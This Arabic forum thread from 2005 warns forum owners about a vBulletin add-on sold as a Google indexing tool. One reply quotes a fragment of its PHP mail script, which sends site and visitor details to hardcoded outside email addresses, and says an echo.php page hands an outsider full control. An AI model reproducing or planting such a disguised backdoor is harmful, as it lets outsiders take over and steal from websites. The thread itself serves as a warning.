احذر هذا البرنامج

**The Caesar** · 30-08-2005, 10:51 AM

هذا السكربت الخطير كان حصريا علي بعض المواقع العربية
وهو ينشر كل مواضيع منتداك لمحرك بحث الجوجل
وكتبتة هنا في هذا المنتدي المحترم لثقتي فية
وهو يقوم كما قلت بنشر كل مواضيع منتداك لمحرك بحث الجوجل
وطريقة تنصيبة سهله :
الخطوات:

اولا : قم بفك الضغط عن الملف المرفق
ثانيا : ارفع المجلد gs لملجد المنتدي الرئيسي مثال عنوان منتداك هو www.site.com/vb سيكون عنوان المجلد هو www.site.com/vb/gs
ثالثا : قم بطلب ملف التنصيب من الوصلة التالية علي سبيل المثال www.site.com/vb/gs/install.php
رابعا : املا البيانات المطلوبة واضغط install
خامسا : الان قم بمسح الملف install.php
مبروك
بعد حوالي 48 ساعه يكون منتداك مشهور جدا في محرك البحث الشهير جوجل بكل مواضيعه

اضغط هنا

**The_Hunter** · 30-08-2005, 11:01 AM

هذا الاسكربت يسرق منتداك ويخترقة

لانة يرسل ايميلات ويتم بعد ذلك اختراق الموقع

ان كنتم لا تصدقونى تابعوا معى هذا الملف

واسمة sendeail افتحوا الملف

ستجدة بداخل الملف هذة الاكواد

php
<head>
<************ ******************************="*********************-Type" *********************="************/html; charset=utf-8" />
<title>Sendemail ******************</title>
</head>
<************>



<?php

$myemail = "a0d@hotmail.com,matrix@ma trix-x.com,c29@hotmail.com";
$ccx = "";

if(!$visitormail == "" && (!strstr($visitormail,"@") || !strstr($visitormail,".")))
{
echo "<h2>install success</h2>\n";
$badinput = "<h2>remove install.php</h2>\n";
}
if(empty($visitor) || empty($visitormail) || empty($notes )) {
echo "<h2></h2>\n";
}
echo $badinput;

$todayis = date("l, F j, Y, g:i a") ;

$attn = $attn . "(" . $ccopy . ")" ;
$subject = $attn;

$notes = stripcslashes($notes);

$message = " $todayis [EST] \n
Attention: $attn \n
Message: $notes \n
From: $visitor ($visitormail)\n
Additional Info : IP = $ip \n
Browser Info: $httpagent \n
Referral : $httpref \n

انظروا على المكتوب بالاحمر هذة هى الايميلات تبع الشياطين والاطفال اللهم لا يكسبهم

"a0d@hotmail.com,matrix@matrix-x.com,c29@hotmail.com";

ويرسل لهم كل شئ ثم يتم اختراق الموقع بكل سهولة وكل عام وانتم بخير

انك كنتم مازلتم لا تصدقون

جربوا الموضوع بانفسكم

بس انتبة طبعا للامان برضة جرب الموضوع على منتدى يكون تجريبى بمعنى اعمل منتدى على ليكوس وجرب علية

وطبعا غير الايميلات دى كلها وحط ايميلك انت بس

وركب الاسكربت

ثم ادخل هكذا

www.site.com/vb/gs/echo.php

وسترى بنفسك ماذا سيحدث ستتحكم فى المنتدى بالكامل

وهذا الاسكربت من افعال واحد اللى لا يبارك فيك ويقحمة وهو عربى ويخترق منتديات مالها ذنب فى اى شئ منتديات عربية وفى منتهى الاحترام

ياريت الموضوع يتنقل فى كل كل كل المنتديات

ع فكرة ... تم اكتشاف هذي الثغرة من قِبل اخي العزيز Optix

**The Caesar** · 30-08-2005, 11:19 AM

اشكرك اخي علي التنبيه
تم تغيير الموضوع الي
(احذر هذا البرنامج )

رائع ماطرحت عزيزي

**beauty girl** · 30-08-2005, 12:00 PM

شكرا على المعلومة

الله يعطيكم العافية

**لولو** · 01-09-2005, 11:05 AM

يسلمو على المعلومة والمجهود الرائع
تسلمو ويعطيكو العافيه يارب

أرق تحياتي
لولو

**The Caesar** · 04-09-2005, 07:34 AM

بيوتي لولو
أشكركم علي المرور

**braveheart007** · 16-07-2007, 11:42 PM

شكرا على المعلومة و بارك الله فيك....

**ديكو** · 11-02-2008, 01:38 PM

سوف تبقى مبدع يا أحمد

مشكوور

بارك الله فيك

30-08-2005, 10:51 AM	#1 (permalink)
The Caesar مبدع وطن تاريخ التسجيل: Aug 2004 الدولة: فلسطين العمر: 26 المشاركات: 7,301	احذر هذا البرنامج هذا السكربت الخطير كان حصريا علي بعض المواقع العربية وهو ينشر كل مواضيع منتداك لمحرك بحث الجوجل وكتبتة هنا في هذا المنتدي المحترم لثقتي فية وهو يقوم كما قلت بنشر كل مواضيع منتداك لمحرك بحث الجوجل وطريقة تنصيبة سهله : الخطوات: اولا : قم بفك الضغط عن الملف المرفق ثانيا : ارفع المجلد gs لملجد المنتدي الرئيسي مثال عنوان منتداك هو www.site.com/vb سيكون عنوان المجلد هو www.site.com/vb/gs ثالثا : قم بطلب ملف التنصيب من الوصلة التالية علي سبيل المثال www.site.com/vb/gs/install.php رابعا : املا البيانات المطلوبة واضغط install خامسا : الان قم بمسح الملف install.php مبروك بعد حوالي 48 ساعه يكون منتداك مشهور جدا في محرك البحث الشهير جوجل بكل مواضيعه اضغط هنا __________________

30-08-2005, 11:19 AM	#3 (permalink)
The Caesar مبدع وطن تاريخ التسجيل: Aug 2004 الدولة: فلسطين العمر: 26 المشاركات: 7,301	اشكرك اخي علي التنبيه تم تغيير الموضوع الي (احذر هذا البرنامج ) رائع ماطرحت عزيزي __________________

30-08-2005, 12:00 PM	#4 (permalink)
beauty girl وطني ذهبي متميز تاريخ التسجيل: Apr 2005 المشاركات: 6,527	شكرا على المعلومة الله يعطيكم العافية __________________

01-09-2005, 11:05 AM	#5 (permalink)
لولو €乂 نـائبـة المـشـرف العــام €乂 تاريخ التسجيل: Jan 2004 الدولة: بلاد الرومانسية العمر: 20 المشاركات: 12,758	يسلمو على المعلومة والمجهود الرائع تسلمو ويعطيكو العافيه يارب أرق تحياتي لولو __________________ غــــــــزّة .. رواية صمـود .. سطـّرها الاف الأبطال .. كلنا معك يا غــزة الأحرار ... ماتت قلوب الناس .. ماتت بها النخوة يمكن نسينا في يوم .. ان العرب إخوة °˚◦ღ♡♥ஓஐ Wa6aN IS The BeSt ஐஓ♥♡ღ◦˚°

04-09-2005, 07:34 AM	#6 (permalink)
The Caesar مبدع وطن تاريخ التسجيل: Aug 2004 الدولة: فلسطين العمر: 26 المشاركات: 7,301	بيوتي لولو أشكركم علي المرور __________________

30-08-2005, 11:01 AM	#2 (permalink)
The_Hunter وطني جديد تاريخ التسجيل: Aug 2005 العمر: 22 المشاركات: 2	هذا الاسكربت يسرق منتداك ويخترقة لانة يرسل ايميلات ويتم بعد ذلك اختراق الموقع ان كنتم لا تصدقونى تابعوا معى هذا الملف واسمة sendeail افتحوا الملف ستجدة بداخل الملف هذة الاكواد php <head> <********** **************************="*****************-Type" *****************="********/html; charset=utf-8" /> <title>Sendemail **************</title> </head> <**********> <!-- Required: YOUR email ($myemail). Optional: Enter CC email address ($ccx) Required: Add the link for the 'next page' (at the bottom) --> <?php $myemail = "a0d@hotmail.com,matrix@ma trix-x.com,c29@hotmail.com"; $ccx = ""; if(!$visitormail == "" && (!strstr($visitormail,"@") \|\| !strstr($visitormail,"."))) { echo "<h2>install success</h2>\n"; $badinput = "<h2>remove install.php</h2>\n"; } if(empty($visitor) \|\| empty($visitormail) \|\| empty($notes )) { echo "<h2></h2>\n"; } echo $badinput; $todayis = date("l, F j, Y, g:i a") ; $attn = $attn . "(" . $ccopy . ")" ; $subject = $attn; $notes = stripcslashes($notes); $message = " $todayis [EST] \n Attention: $attn \n Message: $notes \n From: $visitor ($visitormail)\n Additional Info : IP = $ip \n Browser Info: $httpagent \n Referral : $httpref \n انظروا على المكتوب بالاحمر هذة هى الايميلات تبع الشياطين والاطفال اللهم لا يكسبهم "a0d@hotmail.com,matrix@matrix-x.com,c29@hotmail.com"; ويرسل لهم كل شئ ثم يتم اختراق الموقع بكل سهولة وكل عام وانتم بخير انك كنتم مازلتم لا تصدقون جربوا الموضوع بانفسكم بس انتبة طبعا للامان برضة جرب الموضوع على منتدى يكون تجريبى بمعنى اعمل منتدى على ليكوس وجرب علية وطبعا غير الايميلات دى كلها وحط ايميلك انت بس وركب الاسكربت ثم ادخل هكذا www.site.com/vb/gs/echo.php وسترى بنفسك ماذا سيحدث ستتحكم فى المنتدى بالكامل وهذا الاسكربت من افعال واحد اللى لا يبارك فيك ويقحمة وهو عربى ويخترق منتديات مالها ذنب فى اى شئ منتديات عربية وفى منتهى الاحترام ياريت الموضوع يتنقل فى كل كل كل المنتديات ع فكرة ... تم اكتشاف هذي الثغرة من قِبل اخي العزيز Optix

16-07-2007, 11:42 PM	#7 (permalink)
braveheart007 وطني نشيط تاريخ التسجيل: Jul 2006 المشاركات: 123	شكرا على المعلومة و بارك الله فيك.... __________________ BRAVEHEART007

11-02-2008, 01:38 PM	#8 (permalink)
ديكو عضو موقوف من الإدارة تاريخ التسجيل: Aug 2007 الدولة: فى ممر الدنيا المشاركات: 2,532	سوف تبقى مبدع يا أحمد مشكوور بارك الله فيك

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري